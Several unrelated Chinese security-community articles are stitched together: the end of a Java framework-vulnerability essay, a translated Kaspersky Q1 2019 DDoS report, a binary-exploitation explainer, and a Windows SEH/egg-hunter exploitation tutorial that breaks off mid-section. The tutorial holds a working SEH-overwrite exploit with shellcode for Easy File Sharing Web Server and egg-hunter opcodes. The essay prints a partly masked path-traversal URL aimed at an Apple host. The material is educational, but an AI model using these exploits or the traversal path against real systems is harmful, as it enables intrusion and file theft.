关于这样应用建立在前面的基石，当基石出问题时整个倒下来的情形在Java世界中并不少见，最近很夯的Java
Deserialization相关问题也有类似这样的生态链，还不觉得Java的世界很有趣吗? XD
好惹，差不多降!
这只是个随笔就先富坚，有空的话再多写一点好惹
## 小结:
由于生态完整并要注重系统稳定，大部分使用Java当成网站开发的都是些大型网站或注重稳定性的网站如金融业或是政府机构，并且为求稳定通常不会频繁的更新系统，所以在复杂的架构交叠下如攻击者没有一定程度的研究的话很难发现用了什么框架会有什么漏洞，因此有时很容易出现那种明明被被很多人检视过但还是没被挖出来的漏洞!
如在研究时顺便观察到Apple的网站有使用Mojarra的特征，2013年的漏洞丢下去居然还可以用Java Web
Framework相关的漏洞真的满边缘人的XDD
`https://???.apple.com/???/javax.faces.resource.../WEB-INF/web.xml.jsf`
出来混迟早要还的，不然技术债会越累积越多，接下来有空的话应该会尝试检视Spring Framework Source Code，毕竟也是现在的主流!
至于S什么什么T什么什么2的就不用多讲了XD
## 题外话1:
题外话是，在Review 完Seam Framework 后回报了几个漏洞给[email protected] ，不过回覆则说因为Seam
只能在JBoss EAP 7 下使用，而JBoss EAP 也即将在2016/11 月停止维护，所以除了重要或是严重风险的漏洞外皆不修复。
所以你知道的，现在用Seam写的网页都可以
嗯，真棒XD
## 题外话2:
Apple敏感档案存取的漏洞是新训进去前发现的，出来要回报时就发现不能用不知道是修掉还怎样QQ
本来想直接公开不过还是在发布文章前最后一秒把关键字码掉惹 | 社区文章 |
# 卡巴斯基——2019年Q1 DDoS攻击动态
##### 译文声明
本文是翻译文章，文章原作者 securelist，文章来源：securelist.com
原文地址：<https://securelist.com/ddos-report-q1-2019/90792/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、季度变化
* 在攻击源方面，中国仍排在第一。尽管在2018年Q4其份额大幅下跌，但在2019年Q1又回到了正常水平。
* 在攻击目标方面，前三名和攻击源的分布一模一样：中国（59.85%）、美国（21.28%）和中国香港（4.21%）。
* 与前几个季度相比，攻击源/目标的地理分布Top10几乎没什么变化。
* DDoS攻击数量的最高峰出现在3月后半月；最平静的时期则是1月。
* 一周中最危险的一天是周六，周日最为安全。
* 与上一季度相比，DDoS攻击的最长持续时间减少了一天多，尽管超过5个小时的攻击增长至21.34%（2018年Q4是16.66%）。
* SYN泛洪增长至84%，导致UDP和TCP泛洪的份额下跌。HTTP和ICMP分别增长至3.3%和0.6%。
* Linux僵尸网络的份额略微下降，但仍占主导地位（95.71%）。
* 大多数C&C服务器仍位于美国（34.10%），其次是荷兰（12.72%），然后是俄罗斯（10.40%）。值得注意的是韩国重返前十，尽管排在最后一名（2.31%）。
## 二、新闻概览
### 新僵尸网络
今年初DDoS攻击者的武器库中出现了各种新工具，例如2月初出现了由Qbot、Mirai等公开恶意软件的组件构成的新僵尸网络[Cayosin](https://www.darkreading.com/attacks-breaches/new-botnet-shows-evolution-of-tech-and-criminal-culture/d/d-id/1333792)。该僵尸网络频繁更新漏洞利用库，并且不仅在暗网上打广告，还在YouTube上打广告，甚至在Instagram上出售（犯罪者显然正在最大化利用社交媒体的便利性）。在跟踪犯罪者的账户时，研究人员还发现了其它的恶意软件和僵尸网络，例如Yowai。
3月中旬出现了另一个针对商业设备的[Mirai变体](https://www.kaspersky.com/blog/mirai-enterprise/26032/)。该恶意软件现在不仅可以攻击网络入口点、路由器和网络摄像头，还可以攻击无线演示系统和数字标牌系统。
### 攻击事件
尽管如此，高调的DDoS攻击事件并不多。在2月5日至3月1日期间，美国[奥尔巴尼大学](https://campuslifesecurity.com/articles/2019/03/01/university-of-albany-targeted-with-ddos-attacks.aspx)（UAlbany）共受到17次攻击，导致服务器至少宕机5分钟。
2月初，[菲律宾国家记者联盟](https://www.mindanews.com/statements/2019/02/statement-ddos-attacks-on-nujp-alternative-media-continue/)的官网也遭到攻击。攻击流量的峰值达468GB/s，导致该网站在数个小时内无法访问。该攻击或与政治目的有关。
同样在3月中旬，[Facebook](https://www.forbes.com/sites/kateoflahertyuk/2019/03/14/was-the-facebook-outage-a-cyber-attack/#711c0eeb5223)和Instagram用户发现自己无法登录账户，许多人认为该事件与DDoS有关，但Facebook官方并未承认。
### 警方行动
DDoS新闻的缺乏伴随着警方对犯罪组织的逮捕、指控等行动的增长。
1月初美国司法部[查获](https://homelandprepnews.com/stories/31922-justice-department-seizes-domains-used-in-denial-of-service-attacks/)了与去年12月的DDoS攻击有关的15个域名。根据DoJ的文件，这些域名被用于实施针对全球政府、ISP、大学、金融机构和游戏平台的攻击之中。
1月底，美国法院因对DDoS两家医疗机构而对马萨诸塞州黑客判处[10年监禁](https://www.securityweek.com/hacktivist-gets-10-year-prison-sentence-ddos-attack-hospitals)。还是在1月，一名黑客因破坏利比里亚和德国的移动网络而在英国[被捕](https://edition.cnn.com/2019/01/12/uk/hacker-liberia-cyber-attack-jailed-gbr-intl/index.html)（在2015年他的犯罪生涯高峰期，该黑客使得整个利比里亚的网络离线）。
去年关闭DDoS服务网站Webstresser.org的冲击波还在延续。警方决定不仅追踪组织者，还追踪购买了DDoS服务的用户。1月底，欧洲刑警组织宣布在英国和荷兰[逮捕](https://www.europol.europa.eu/newsroom/news/authorities-across-world-going-after-users-of-biggest-ddos-for-hire-website)了250多名用户。还有消息称针对更多用户的[调查](https://www.scmagazine.com/home/security-news/webstresser-takedowns-151000-ddos-minded-users-targeted-by-authorities-in-20-countries/)正在进行中（20个国家的1.5万Webstresser用户）。
## 三、季度趋势
上一季度卡巴斯基预测称全球的DDoS市场正在萎缩，并且对长期“智能”型攻击（HTTP泛洪）的需求将增长。
第一个预测显然已经失败：2019年Q1的所有DDoS攻击指标都有所增长。总体攻击数量增长了84%，持续超过60分钟的DDoS攻击数量翻番。平均攻击时间延长了4.21倍，超长型攻击增长了487%。
2018年Q3及Q4的报告中我们假设DDoS攻击的减少与挖矿的兴起有关，显然这一假设至少部分是错误的，我们被迫重新对这一情况进行评估。
一个可能性更大的解释是：2018年下半年我们观察到较少的僵尸网络被用于其它目的，而市场真空在扩大。最有可能的是，这一供应短缺与DDoS攻击的下滑、出售相关服务的网站被关闭以及主要成员被[逮捕](https://securelist.com/ddos-report-in-q2-2018/86537/)有关。显然现在市场真空已被填补：相关指标的爆炸式增长几乎可以肯定与新供应商及客户的出现有关。这使得即将到来的Q2的指标十分令人期待，指标会继续上涨，还是市场稳定在当前水平呢？
第二个预测要更为成功一些：长期、难以组织的攻击在数量和质量上都在增长。我们认为这种趋势在Q2不会持续下去。
## 四、统计分析
### 地理分布
**攻击源**
在攻击源方面，中国仍是第一，并且在经历了上一季度的下滑后回复至正常水平：从50.43%增长至67.89%。第二名是美国，其份额从24.90%下降至17.17%。然后是中国香港，从第七名冲到了第三，份额从1.84%增长至4.81%。
有趣的是，除了中国外，其它地区的份额都在下降。2018年Q4的第三名澳大利亚下滑至最后一名（从4.57%下降至0.56%，跌了4个百分点）。
英国的变化也很值得注意，它从第五名跌至第七名（从2.18%到0.66%，跌了1.52个百分点）。加拿大和沙特阿拉伯分别下跌了约1个百分点，但这并没有阻止加拿大（0.86%）从第六攀升至第四，相反沙特阿拉伯（0.58%）则跌至榜单边缘。
同时巴西跌出了Top10，让位给新加坡，后者位列第五（0.82％，其份额也有下降，但非常轻微）。
曾经经常和美国争夺第二第三的韩国这一季度还是在Top10之外（0.30％）。虽然Top10看起来仍然有点奇怪，但过去三个季度并未重复出现意料之外的变化。
2018年Q4-2019年Q1，DDoS攻击源分布
**攻击目标**
攻击目标的地理分布和攻击源保持一致：中国继续第一（从43.26%增长至59.85%），美国第二（从29.14%下降至21.28%），中国香港第三（从1.76%攀升至4.21%）。
沙特阿拉伯从第五下降至第六，略微下跌了1个百分点（从2.23%跌至1.08%）。加拿大的数字差不多（从2.21%跌至1.30%），但从第六增长至第四。英国跌幅较大（从2.73%跌至1.18%），从第四跌至第五。
与此同时澳大利亚和巴西跌出了前十（上一季度分别是第三和第八）。取代者是新加坡（从0.72%增长至0.94%，第八名）和波兰（从0.33%增长至0.90%，第九名）。同往常一样，第十名是德国（0.77％）。
2018年Q4-2019年Q1，DDoS攻击目标分布
### DDoS动态
在2019年Q1中，3月份的DDoS攻击活动最多，尤其是后半月。最高峰出现在3月16日（699个攻击）。1月17日也有一个高峰，我们记录到532个攻击。1月初较为平静，没有高峰和低谷，但最平静的一天是2月5日，只有51个攻击。
2019年Q1，DDoS攻击动态
至于一周分布，DDoS强度最高的一天是星期六（16.65%），其次是星期五（15.39%）。星期天相对较为平静（11.41%）。回想一下2018年Q4，最激烈的一天是星期四（15.74%），而最平静的一天还是周日。（犯罪分子也需要休息，233）
2018年Q4-2019年Q1，DDoS攻击的星期分布
### 持续时间及类别
**持续时间**
在2019年Q1，超长型攻击的份额几乎翻番 –
从0.11％增长至0.21％。然而，与2018年Q4的近14天（329个小时）相比，本季度持续时间最长的攻击也只有12天（289个小时）。
最重要的是，持续时间>5个小时的攻击大幅增长：2018年Q4是16.66%，现在已达21.34%。如下图所示，继续细分可以发现，除了持续时间在100-139个小时之间的DDoS攻击份额轻微下降之外（从0.14％降至0.11％），其它类别都有所增长。相对地，短持续时间的DDoS攻击份额下降了约5个百分点，至78.66%。
2018年Q4-2019年Q1，DDoS攻击的持续时间分布（单位：小时）
**类别**
一如既往，2019年Q1中SYN泛洪仍然占据最大的份额，其数字相比2018年Q4甚至有所增长，达84.1%。当然，如此大的增长（从58.2%增长了超过20个百分点）会导致其它类别的份额下降。
例如，虽然还是第二，但UDP泛洪本季度的份额只有8.9%，从31.1%大幅下跌。之前排在第三的TCP泛洪从8.4%下跌至3.1%，只能排在第四。HTTP泛洪有所增长（增长了1.1个百分点，达3.3%），排在第三。ICMP还是最后一名，尽管它的份额从0.1%增长到0.6%。
2019年Q1，DDoS攻击的类别分布
Linux僵尸网络的数量仍然碾压Windows，尽管在2019年Q1这一差距略微缩小：Linux僵尸网络从97.11%下跌至95.71%，相对的Windows僵尸网络增长了1.5个百分点，达4.29%。这一变化的原因并不是Windows设备变得更加流行，而是僵尸网络Mirai及其变体Darkai的C&C服务器数量的下滑。这两个僵尸网络的攻击数量也相应地减少了3倍和7倍。
2018年Q4-2019年Q1，Windows/Linux僵尸网络比例
### 僵尸网络
僵尸网络数量最多的国家仍然是美国（34.10%）。荷兰则从2018年Q4的第三名上升至本季度的第二名（12.72%）。第三名是俄罗斯（10.40%），从第七名爬升至第三。中国从榜末爬升至第四（7.51%），错失了回到Top3的机会。
希腊和德国离开了Top10榜单，为越南（4.05%）和韩国让位（2.31%）。尽管韩国曾长期处于靠前的位置，现在也只能排在第十。
2019年Q1，僵尸网络C&C服务器的地理分布 | 社区文章 |
翻译自：<https://medium.com/@danielabloom/binary-exploitation-eli5-part-2-8fd71bf214b9>
“ Wait a minute. Using an RX modulator, I might be able to conduct a mainframe
cell direct and hack the uplink to the download.” — [Hackerman, Kung
Fury](https://www.youtube.com/watch?v=1uvr7CJazqE "Hackerman, Kung Fury")
# **0x00 - 前言**
本文是白话二进制漏洞攻击方式系列文章的第二部分。
在整篇文章中，我们将介绍：
0x01 - 必备知识：权限和异常处理
0x02 - 防御：Stack Canaries
0x03 - 攻击：格式字符串漏洞
0x04 - 攻击：SEH Overwrites
0x05 - 防御：DEP/NX
让我们开始吧！
# **0x01 - 必备知识：权限和异常处理**
随着您越来越多地使用计算机，您可能会经常听到Kernel(内核)和userland(用户态)这两个术语。如果我们尝试搜索内核的定义，我们会发现：
_内核是操作系统的核心，可以完全控制系统上的所有内容（处理器，内存，芯片等）。每当程序需要做任何事情（即写入文件，打开网络连接等）时，它都会暂时将对用户空间处理的控制权交给内核。_
虽然这个定义让我们对内核的内容有了很好的理解，但让我们快速看看我的第五篇文章[Explain Spectre and Meltdown Like I'm 5
](https://hackernoon.com/explain-spectre-and-meltdown-like-im-5-494a6ba61061
"Explain Spectre and Meltdown Like I'm 5 ")的解释：
_每当蝙蝠侠和正义联盟的其他成员在与超级罪犯作战时，阿尔弗雷德（蝙蝠侠的管家）（内核）就会控制蝙蝠侠的基地（处理者），这样他能够提供重要信息并帮助正义联盟获胜。当正义联盟击败坏人时，蝙蝠侠解除并收回了阿尔弗雷德的控制权。_
为了减轻负担，内核是操作系统为您的应用程序完成所有繁重的工作（即内存管理等）的后端。而另一方面，用户态是常规应用程序运行内存空间。就像蝙蝠侠和正义联盟一样，用户态应用程序在需要特权信息时将控制权移交给内核（阿尔弗雷德）。
这种权限分离的方式在计算机中大量使用。然而，虽然蝙蝠侠和正义联盟只有两类特权，但计算机有4个独立的“戒指”特权。
如您所见，应用程序在最低权限环中运行。但是，显然有时应用程序需要访问某些特权信息或功能（即建立网络连接，内存管理功能等）。在这种情况下，应用程序将使用称为syscalls的特定函数，它们充当不同特权环之间的桥梁。
形容特权戒指的一种简单方法可能是视频游戏中的等级：
为了提高整个游戏中的一般能力（无论是升级护甲或武器，进入不同的世界，还是最终从[尖刺的乌龟身上拯救公主](https://www.mariowiki.com/Bowser
"尖刺的乌龟身上拯救公主")），玩家必须通过不同的关卡。如果玩家试图跳过一个级别，他/她就没有足够的力量或资源在他们跳到的关卡中击败BOSS！ 他们会失败！
当用户态应用程序尝试访问特权信息时，应用程序将失败并出现异常。这意味着应用程序将崩溃并输出崩溃报告。除了尝试从非特权（用户空间）环境访问特权内存或函数之外，由于许多原因，程序可能都会因异常而失败。例如，如果一个程序试图将某个数据除以0（我们都知道不能这样做），程序将失败并抛出ArithmeticException的异常。
现在，虽然简单地理解程序可能失败的原因很重要，但我们需要讨论程序失败时实际发生的情况。这就是结构化异常处理（SEH）的用武之地。在我们讨论结构化异常处理程序是什么以及它们如何工作之前，让我们以[夺宝奇兵](https://en.wikipedia.org/wiki/Indiana_Jones_%28franchise%29
"夺宝奇兵")为例：
在1981年的电影“夺宝奇兵之法柜奇兵”中，琼斯和他的团队继续寻找失落的约柜方舟。沿着他的路线，琼斯和他的团队遇到了许多陷阱，例如毒镖和巨石，这些陷阱是由秘密的压力板或开关触发的。琼斯和他的团队必须努力生存通过所有这些陷阱，以实现他们的目标。
在夺宝奇兵之法柜奇兵中，琼斯和他的团队必须通过整个地牢和洞穴中设置陷阱。这些陷阱是在琼斯出生前几年设计的，用来保护这次冒险的中心的金色雕像。同样，程序有各自的陷阱，从权限不匹配和访问拒绝到逻辑和算术错误，程序有很多方法可以防止（处理）错误或错误的操作。此外，程序员能够通过函数来实现自定义异常处理程序如try-catch代码块，利用try尝试代码块，再使用catch捕捉处理他们时发生的任何错误或异常。
在许多操作系统中（我们将更具体地讨论Microsoft的结构化异常处理），正好有一个系统来处理最初未被异常处理程序捕获的任何异常。也就是说，如果捕获到错误但未正确处理错误，操作系统将提升异常处理的方式将捕获的异常重定向到单独的结构化异常处理程序。如果异常继续无法正确处理，应用程序将崩溃。
另外需要注意的一点是，当程序因异常而失败时，程序会非常短暂地获得对更高级别的访问权限，因为系统会检索有关崩溃的信息。
# **0x02 - 防御：Stack Canaries**
在[上一篇文章](https://xz.aliyun.com/t/3980
"上一篇文章")中，我们讨论了堆栈缓冲区溢出以及能够覆盖堆栈上数据的危险（或利益，取决于您在攻击中所处的角色）。多年来，为了防御这些攻击，已经在编译器和操作系统中执行了许多类型的防御。在本节中，我们将讨论Stack
Canaries，它是一种非常常见且极其基本的溢出防御形式。
Stack Canaries实际上是参考the canary in a coal mine（煤矿中的金丝雀）命名的。
_在1913年左右，John Scott
Haldane建议在深矿中使用金丝雀或其他温血动物以检测一氧化碳。理论认为，由于鸟类的身体对一氧化碳比人类的敏感度高得多，如果矿工看到鸟儿不行了，他们就会知道空气被一氧化碳污染了，因此，在受到气体的影响之前就可以离开洞穴了。_
就像煤矿中的金丝雀一样，Stack
Canaries会警告程序有些事情是不对的，允许程序在任何恶意操作发生之前退出。这是通过在为局部变量分配空间之后在堆栈上放置一个长随机数并在函数返回之前检查长随机数来完成的。如果堆栈缓冲区溢出攻击覆盖堆栈的canary，程序将退出。
虽然Stack Canaries是针对溢出攻击的常用性防御，但它们远非无敌。我们接下来看看一些攻击。
# **0x03 - 攻击：格式化字符串漏洞**
击败Stack
Canaries的一种简单的方法是找出它们在堆栈中的位置和随机值是什么，这样你就可以在溢出攻击期间完全覆盖Canaries。但是，正如我之前提到的，Stack
Canary值是大的随机数，因此，要“知道”堆栈canary的位置就非常困难。此外，在为应用程序发掘漏洞时，您无法调试（在另一个特殊的程序中运行上述程序并在运行时通过控制其操作，显示数据和信息）这个程序并简单的查看堆栈/手动搜索Canaries。那么我们究竟如何检索这些信息呢？
好吧，这就是格式字符串漏洞的来源。在我们讨论实际漏洞之前，让我们先谈谈格式字符串是什么。
在许多编程语言中（虽然我们将在本文中专门讨论C），但有一个名为printf（或类似的东西）的输出函数。printf是用于格式化和打印数据的函数。要使用此功能，程序员输入：
printf（“格式”，变量）
例如，如果程序员想要打印出整数变量intvar的值，他们只需执行：
printf（“％i”，intvar）
在上面，％i被称为格式说明符，它只是指定要打印的变量的格式。虽然有许多有用的格式说明符，例如％s，它指定字符串值（一般文本，即“hello”，“123”等等（只要是双引号（“”）中的文本））。但是，在这种情况下，对我们来说最重要的两个格式说明符是：
％x - 十六进制值的格式说明符
％n - 一种特殊格式说明符，它允许我们将实际的数据写入变量，而不是从变量中读取数据
你们中的一些人可能知道我要说什么了，但让我们来看一个小例子：
_Bob刚刚通过UHB注册了一些网上银行（代表UnHackable
Bank）当Bob进入UHB网站时，他看到了“输入你的账号”提示。当Bob输入他的账号时，银行会显示他的账户信息，他可以自由查看并转移他的钱。有一天，鲍勃登录了银行的网站，但当提示“输入你的账号”时，Bob意外的输入了错误的账号。网站没有提示“不正确的帐户”，而是进入了另一个客户的帐户，并能够查看并转移这个客户的钱。_
能够显示任意信息是一个巨大的安全漏洞。如果能够显示和操纵任意信息则是一个灾难性的安全漏洞，而格式化字符串漏洞正是如此。
如果用户能够直接将字符串输入到printf语句而不进行任何类型的检查，他们只需输入％x即可显示堆栈上的信息，因为正如我们从上一篇文章中所知，堆栈上存储了变量和其他数据。此外，如果恶意用户继续输入％x，最终可能会泄漏极其敏感的信息，例如异常处理程序指针（重定向进行处理错误的函数的内存地址），甚至是Stack
Canaries。
此外，能够从内存中查看任意数据是一个大问题，但如果恶意用户具有对printf调用的完全访问权限，他们也可以使用％n这种格式说明符覆盖数据。这意味着恶意用户可以复制并使用自己想要的值覆盖Stack
Canaries，然后执行ret2libc攻击（在第一篇文章中讨论过）或覆盖函数返回指向其他恶意payload的指针。
我们来看一个小例子：
让我们将上图分解为几个部分。
_请注意：在上面的示例中堆栈被删除了，并没有显示_
首先看代码：
首先，我们设置了两个字符串类型变量inputvar和stackvar 。
接下来，我们通过readuserinput函数读取用户的输入，并将所述输入存储在inputvar变量中。然后，我们使用格式说明符为％s的printf语句并传入inputvar。
上述代码中的漏洞源于用户能够无需检查格式说明符直接影响printf语句。
现在，看看上面的整个攻击图。如您所见，当用户输入常规的，非格式说明符时，输入不会发生任何特殊情况。但是，当用户输入“
％x％x％x”时，程序输出堆栈的内容（请注意：％x以十六进制格式输出堆栈的内容。在此示例中，我只使用基本文本和数字，以便它更容易理解）。此外，如果用户使用％n来覆盖堆栈的cookie和返回指针，他/她将能够将程序重定向到恶意的payload。
# **0x04 - 攻击：SEH Overwrites**
与ret2libc攻击非常相似，SEH（结构化异常处理程序）Overwrites是覆盖指向不同函数指针的攻击。但是，虽然ret2libc攻击基于覆盖返回指针以将程序重定向到特定的libc函数，SEH
Overwrites通过覆盖异常处理程序指针函数，然后触发异常，以便程序重定向到我们恶意的payload。
你可以想象SEH溢出类似保险欺诈：
_Bob拥有一艘有大量保险单的船，保单的价值远远超过了这艘船本身。Bob作为罪犯，他决定试图通过燃气泄漏把船炸飞来欺骗保险公司，这样他就可以索赔保险金。经过几周的策划，Bob炸了他的船。经过一番调查后，保险公司无法明确证明Bob的船燃气泄漏但实际上没有爆炸，因此支付了索赔。_
与Bob的保险欺诈非常相似，SEH
Overwrite攻击强制异常处理程序指向到恶意用户的payload，而不是正确的异常处理程序。这些攻击可以利用格式字符串漏洞或一般堆栈缓冲区溢出攻击来完成，因为异常处理程序指针也是存储在堆栈中的。要执行此漏洞，恶意代理需要覆盖异常处理程序指针以指向恶意payload，而不是实际的异常处理程序，然后用户需要触发异常。一旦捕获到该异常，它将被重定向到恶意函数，然后恶意函数可以丢弃异常并执行它的payload。
# **0x05 - 防御：DEP/NX**
到目前为止，您可能已经意识到不受限制地访问堆栈是一件非常危险的事情。此外，即使Stack
Canaries充当防御，恶意用户也可以在格式字符串漏洞的帮助下轻松地重定向程序的执行，甚至可以轻松地将恶意函数和功能添加到程序中。然而，随着我们在这个系列的进展，你会很快发现虽然有很多攻击，但也有很多防御措施。在本节中，我们将谈论Data
Execution Prevention(DEP)和Non-Executable memory(NX)。
能够联想到DEP和NX的好方法可能是原来的[点格棋](https://zh.wikipedia.org/wiki/%E9%BB%9E%E6%A0%BC%E6%A3%8B
"点格棋")游戏。
在点和方框中，两个玩家以点网格开始。在每个回合中，玩家可以绘制一条连接两个点的线。两个玩家会用红色（玩家一）和绿色（玩家二）在点中着色，当画线使一个正方形封闭时，在区域内画一该玩家符号，表示占领。在游戏结束时，哪个玩家占领的区域大就会获胜。
现在，想象一下你脑袋里的那个盒子（或者从wikihow看下面的图片）：
我们假设每个正方形都是计算机上的内存区域，而不是点和框的网格。在红色区域是允许数据执行的，绿色区域则不允许数据执行。
这正是DEP和NX的意思。它们只是阻止在不同的内存区域中执行写入内存操作（即恶意代码）的机制。例如，大多数现代程序在堆栈上启用了DEP，因此恶意用户无法通过堆栈执行payload。
在理想的世界中，计算机可以在所有内存使用W^X(write xor
execute)策略，但是有几个很大的原因无法这样做。W^X策略是一种内存可以专门写入或可以独占执行的策略，但是不能两者同时进行。由于多种原因所有存储器中部分不能按照这个策略进行工作，这些将在以后的文章中介绍。但是对于某些内存区域例如堆栈，DEP和NX的使用让使用这个策略成为可能。
# **0x05 - 第2部分结论**
在本文中，我们讨论了：
0×01.内核和特权环
0x02.异常和结构化异常处理程序
0x03.结构化异常处理程序覆盖攻击
0x04.格式化字符串和printf命令
0x05.格式字符串漏洞和利用
0x06. DEP/NX
我希望这篇文章很有帮助。请密切注意本系列的下一部分，我们将讨论更多的攻击和防御。
如果您还没有开始阅读，请阅读本系列的第一篇文章：
[白话二进制漏洞攻击方式第一部分](https://xz.aliyun.com/t/3980 "白话二进制漏洞攻击方式第一部分") | 社区文章 |
### 从Linux到Windows栈溢出利用
#### JMP ESP
* 作为一种经典的利用方式，不应该被忘记。
* 在XP及之前的系统中，很多固定的地址有这样的指令。且并没有DEP保护。
* 除了系统的，在程序自身的代码中，也可能找到jmp esp。
* 类推的，jmp reg或许也是一个思路，只要该reg是我们可以控制的。
#### Short jmp
* 当shellcode的一部分执行，一部分却中断时。可以使用这种方式“滑梯式”地完成利用。
* 一般这种方式，也可以利用第一种方式填充合适的nop来完成。
#### Egg hnter
* 当缓冲区空间不够大时，我们可以利用这种技术，写入一段用来搜索shellcode的代码，搜索真正的shellcode执行。
* 该技术可以在多个平台使用，只是实现的依赖不同 。
* Linux下，依赖system call来处理搜索过程的“非法访问”
* 常用的有access(0x21)、和sigaction（0x43），前者每次检查一个地址（4byte），后者可以检查16byte。
* Windows通常有两种思路
* 实现一个SEH来处理非法访问
* 也用system call，一般是NtDisplayString 、IsBadReadPtr
* 示例基于NtDisplayString技术
6681CAFF0F or dx,0x0fff ;通过添加循环遍历内存中的页面
42 inc edx ;循环遍历每一个地址
52 push edx ;入栈操作
6A43 push byte +0x43 ;NtDisplayString的系统调用ID
58 pop eax ;出栈操作，其实就是作参数
CD2E int 0x2e ;调用NtDisplayString
3C05 cmp al,0x5 ;对比操作
5A pop edx ;出栈操作
74EF jz 0x0 ;如果ZF标志由CMP指令设置，则存在访问冲突
;无效页面，回到顶部
B874303077 mov eax,0x7a757368 ;标签(7a 75 73 68 = zush)
8BFA mov edi,edx ;将EDI设置为EDX的当前地址指针以用于SCASD指令
AF scasd ;将EAX中的值与DWORD值进行比较
;在SCASD比较后相应地设置EFLAGS寄存器,这里比较两次才算真正的发现shellcode
75EA jnz 0x5
AF scasd
75E7 jnz 0x5
FFE7 jmp edi
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egg
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
* 注意，这种方式利用，最终执行的shellcode不一定是在栈上，很可能在内存中其他的地方也会有我们输入的copy内容。
* hunter里面有一个egg，所以作为有效payload的标志就应该是两个egg。
#### SEH HANDLER覆盖
* 栈溢出经常会导致内存的非法访问（读、写、执行），触发异常。而鉴于[Windows的SEH机制]()，且SEH结构存在栈上。
* 溢出利用。我们可以覆盖SEH链，每个SEH结构有两个指针，第一个指向下一个SEH结构，第二个指向当前SEH的处理函数。组合利用如下
* 将指向下一个SEH的指针覆盖为shellcode地址。将指向当前SEH处理函数的指针指向"pop pop ret"操作。
* 触发SEH。
* 执行"pop pop ret"，将下一条记录的值作为EIP。跳转到shellcode。
* 覆盖布置
junk + nseh + seh + nops + shellcode
#nseh is the shellcode_addr or jmp to shellcode or egg hunter
#seh is "pop pop ret"'s addr
#### 安全措施
* 除了类似于Linux下的DEP、ALSR、NX、RELOC之外。
* ##### XOR
* 在进入SEH前，将所有寄存器xor操作清零，防止利用。
* ##### SAFESEH
* 如果异常处理链不在当前程序的栈中，则终止异常处理调用。
* 如果异常处理函数的指针指向当前程序的栈中，则终止异常处理调用。
* 在前两项检查都通过后，调用 RtlIsValidHandler() 进行异常处理有效性检查。
* ##### SEHOP
* 系统级别地验证SEH链表的完整性（不需要应用程序开启什么）。
* SEHOP的全称是Structured Exception Handler Overwrite Protection（结构化
异常处理覆盖保护）,SEHOP的核心是检测程序栈中的所有SEH结构链表，特
别是最后一个SEH结构，它拥有一个特殊的异常处理函数指针，指向的是一
个位于NTDLL中的函数。异常处理时，由系统接管分发异常处理，因此上面
描述的检测方案完全可以由系统独立来完成，正因为SEH的这种与应用程序
的无关性，因此应用程序不用做任何改变，你只需要确认你的系统开启了
SEHOP即可。
#### 实践
* ##### HALLIBURTON LOGVIEW PRO 9.7.5 、10.0.1拒绝服务漏洞
* [软件下载](https://www.exploit-db.com/apps/dbce915ea07d5f6367e0e9d93b3ddbac-Halliburton_Log_Viewer.exe)
* [关于漏洞](https://www.exploit-db.com/exploits/40192)
* 分析过程
* 长度足够的POC。
file = "payload.cgm"
buffer = "a"*0x1000
file = open(file, "w")
file.write(buffer)
file.close()
* 在debuger里看到crash的状态
* 调用栈状态
* 可以看到我们已经覆盖了SEH
* 在IDA里溯源，根据调用栈的地址找到最近的调用（在AXCGMV.ocx控件链接库里）。
.text:1018A66D ; sub_1018A310+393j ...
.text:1018A66D mov ecx, [esp+0C8h+var_4]
.text:1018A674 pop edi
.text:1018A675 pop esi
.text:1018A676 pop ebp
.text:1018A677 pop ebx
.text:1018A678 xor ecx, esp
.text:1018A67A call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:1018A67F add esp, 0B8h
.text:1018A685 retn
* 可以看到，其实是由于我们覆盖了SEH，而进行了security检查（Safeseh的流程），失败后终止了程序。
* 这里的SafeSeh暂时不会饶过，记下了。。。
* ##### Easy File Sharing Web Server栈溢出覆盖SEH
* [软件下载及漏洞详情](https://www.exploit-db.com/exploits/42261/)
* 漏洞分析
* 触发
buffer = 3000 * "a"
* SEH已经被覆盖
* 偏移量确定后，搜索有用的指令"pop pop set"，重新编辑payload
* 注意格式是pad + nseh + seh + shellcode
pad = "/.:/" # 不常见，但必须
pad += "a"*53 # 测试字符串
nseh = "\xeb\x14\x90\x90" #jmp 0x14 nop nop
seh = "\x58\x88\x01\x10" #0x100194bf pop pop ret
nops = "\x90"*20 # nop * 2018
shellcode = "\x31\xC9" # xor ecx,ecx
shellcode += "\x51" # push ecx
shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163
shellcode += "\x54" # push dword ptr esp
shellcode += "\xB8\xAD\x23\x86\x7C" # mov eax,0x7c8623AD
shellcode += "\xFF\xD0" # call eax
exploit = pad + nseh + seh + nops + shellcode
exploit = exploit.ljust(3000, 'a')
* ##### Unicode程序漏洞利用
* shellcode不能有截断字符'\x00'，但是unicode绝大部分都是在前加'\x00'
* 实例Triologic Media Player 8
* 触发漏洞状态。
* 可以看到，该程序适宜unicode编码的，我们所有的输入也是被转为unicode。
* 依然测出seh的偏移，这次我们只用2byte的nseh和seh来覆盖，看看unicode模式下是什么样的
padding = "a"*536
nseh = "nn"
seh = "ss"
exploit = padding + nseh + seh + "a"*4464
可以看到两个"n"和"s"分别扩展为0x006e006e和0x00730073，
* ###### 什么样的seh和nseh合适？
* 在ascii编码下，seh是"pop pop ret"指令的地址。地址是有可能满足的。phrack在paper里这样说的
Under Win32 plateforms, a process usually starts at 00401000, this makes
it possible to smash EIP with a return address that looks like :
????:00??00??
mona插件也提供了unicode格式指令的搜索
* 但是nseh之前是jmp指令（类似"\xeb\xff\x90\x90")，显然在unicode下是办不到的。但是我们可以使用一些无害的指令填充。如下
ASCII ==> ...AAAA...
Unicode ==> ...0041004100410041...
But lets see what this looks like when it gets translated to instructions:
...
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
...
So this is very very interesting! It seems like one byte will remain intact and the following byte will
"absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when
executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP
or Venetian Shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple
of candidates to absorb these 00's (these won't always be suitable):
006E00 ADD BYTE PTR DS:[ESI],CH
